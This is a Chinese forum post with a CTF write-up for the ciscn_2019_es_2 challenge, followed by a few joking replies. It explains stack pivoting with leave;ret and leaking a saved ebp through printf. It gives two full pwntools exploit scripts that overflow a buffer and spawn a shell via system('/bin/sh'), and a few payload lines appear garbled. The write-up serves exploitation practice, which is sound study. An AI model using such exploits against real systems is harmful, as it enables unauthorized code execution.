首页
社区
课程
招聘
[原创]ciscn_2019_es_2栈转移
发表于: 2021-9-1 19:30 25317

[原创]ciscn_2019_es_2栈转移

2021-9-1 19:30
25317

栈转移:通过leave指令改变ebp,esp构造新栈

leave命令相当于

mov ebp,esp

pop ebp(此处的ebp位于栈中我们可以控制)

所以如果我们连着使用两次leave命令,那我们是不是就相当于可以任意改写esp的值

我们控制了esp和ebp就相当于控制了栈的位置,我们将栈设置到我们可写的地方,就能相当于控制了整个栈,控制了栈,我们就控制了计算机,进一步控制打穿互联网,掌握核心科技,黑掉全宇宙,穿越到海贼王的平行世界,干翻红狗,救下艾斯,哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,非常的亏贼啊,所以学这个还是非常有用的啊

栈转移非常的亏贼啊!是因为栈溢出造成的漏洞,而溢出的又不多,通常刚好溢出到ebp和返回地址,无法构造参数,所以有时候不能直接利用,所以我们通过改变esp和ebp在我们可以改写的地方构造一个新的栈

 

我们直接上题ciscn_2019_es_2

以下先是一个题目分析,不想看的直接略过看后面 思路和做题过程

很明显的栈溢出啊,s只有40byte,但是read能读0x30byte,简单分析下啊,read读入的数据刚好将返回地址覆盖掉
再翻翻IDA,欸我们可以看到啊,有个hack函数,这名就不是什么正经名,打开一看,果然,看到了systeam("echo flag")

 

说到这块,我不得不说自己基本知识不扎实(出题人太狗),这里"echo flag"很明显的输出flag,我当时就直接起飞,hack地址覆盖返回地址,好家伙,果然没让我失望,终端直接输出flag四个大大的字母,我当时还纳闷了好久,后来才想明白,echo就是用来输出字符串的,你要写个echo Steal Wang Xishun's tribute ,他就能输出Steal Wang Xishun's tribute,人都麻了。

 

咳咳,让我们回到正题systeam有了,题中没有/bin/sh字符串,我们可以自己写入一个,然后将其地址作为systeam()的参数。
假设这里栈溢出长度没有限制,那么我们构造的栈应该是这样的

 

但是只能写入0x30字节的payload,所以我们通过leave命令将栈转移到别的地方,我们将栈中ebp的内容改为s的地址,return改为leave的地址
这是执行了两次leave之后的栈的样子 注意,一般leave命令后面都会跟着ret命令,也是必须要有的。此处如果继续执行ret命令就会返回到esp所指向内容填写的地址,那么接下来就很好办了,我们构造栈的内容

亏贼啊!
当然此处我们还有一个问题就是'/bin/sh'的地址我们不知道。
这个啊,我们可以通过泄露原来ebp的值来确定(就是上图中蓝色ebp的值),我们将此地址叫做addr,以免和ebp寄存器混淆
具体怎么来啊,听我慢慢讲,我们再次回到IDA中
printf函数会打印s字符串,且遇到0就会停止打印,所以如果我们将addr之前的内容全部填充不为0的字符,就能将addr打印出来(亏贼啊,这个printf函数可真是个好东西),我们通过地址再计算出addr到s的距离,我们就可以通过addr来表示'/bin/sh'所在的地址了。

思路

很明显啊,我们先通过第一个read传入payload,然后通过printf打印出addr的值(栈中蓝色ebp的值,为了不和寄存器ebp混淆,我们将其称之为addr),然后通过第二个read函数构造栈转移,执行systeam('/bin/sh')

做题过程


 


我们通过pwndbg调试一下发现s的地址为0xffbc5270,addr为0xffbc52a8,相距0x38,所以s的地址为addr-0x38,则上面'/bin/sh'的地址为addr-0x38+0x10(每次调试addr和s的地址都不同,但是它们之间的间距相同都是0x38)

 

接下来我们构造第二个payload

 

以下是完整的payload

from pwn import *

sh=process('./ciscn_2019_es_2')

payload=b'a'4+b'b'0x20+b'c'*4

sh.recvuntil('name?\n')

sh.send(payload)

sh.recvuntil('cccc')

addr=u32(sh.recv(4))

print(f"{hex(addr)}")

#gdb.attach(sh)

systeam_addr=0x08048400

leave_ret_addr=0x080485FD

payload2=b'a'*4

payload2+=p32(systeam_addr)

payload2+=p32(0xdeadbeef)

payload2+=p32(addr-0x38+0x10)+b"/bin/sh"

payload2=payload2.ljust(0x28,b'\x00')

payload2+=p32(addr-0x38)

payload2+=p32(leave_ret_addr)

sh.send(payload2)

sh.interactive()

说一个小东西,我自己在做的时候第一次没有用到plt表里的system,我当时找到了hack函数里面的一段指令 call system
call 相当于
push eip
jmp
所以也就是说esp向下移动了四字节
具体的payload怎么写,大家可以自己想想啊
我这里直接给大家放出来,大家写完了对照下哈

from pwn import *

call_systeam=0x08048559

leave=0x08048562

sh=process('./ciscn_2019_es_2')

payload=b'a'0x24+b'b'4

sh.recvuntil('name?\n')

sh.send(payload)

sh.recvuntil('bbbb')

addr=u32(sh.recv(4))

print(f"{hex(addr)}")

payload1=p32(b'a'*4)+p32(call_systeam)+p32(addr-0x38+0xc)+b'/bin/sh'

payload1=payload1.ljust(0x28,b'\x00')+p32(addr-0x38)+p32(leave)

sh.send(payload1)

sh.interactive()

其实对于栈转移你只要理解了esp,ebp在栈中是怎么动,什么时候动的就非常简单啦!


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2021-9-1 19:35 被凡人_编辑 ,原因:
上传的附件:
收藏
免费 2
支持
分享
最新回复 (4)
雪    币: 224
活跃值: (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
老哥当年退出文坛我是万万不同意的
2021-12-4 23:07
0
雪    币: 1662
活跃值: (1690)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
3
老哥当年退出文坛我是万万不同意的。另外所有的systeam其实都是system
2022-8-12 16:45
0
雪    币: 1662
活跃值: (1690)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
4
忘了加狗头
2022-8-12 16:45
0
雪    币: 237
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
学习了
2024-6-30 21:38
0
游客
登录 | 注册 方可回帖
返回
//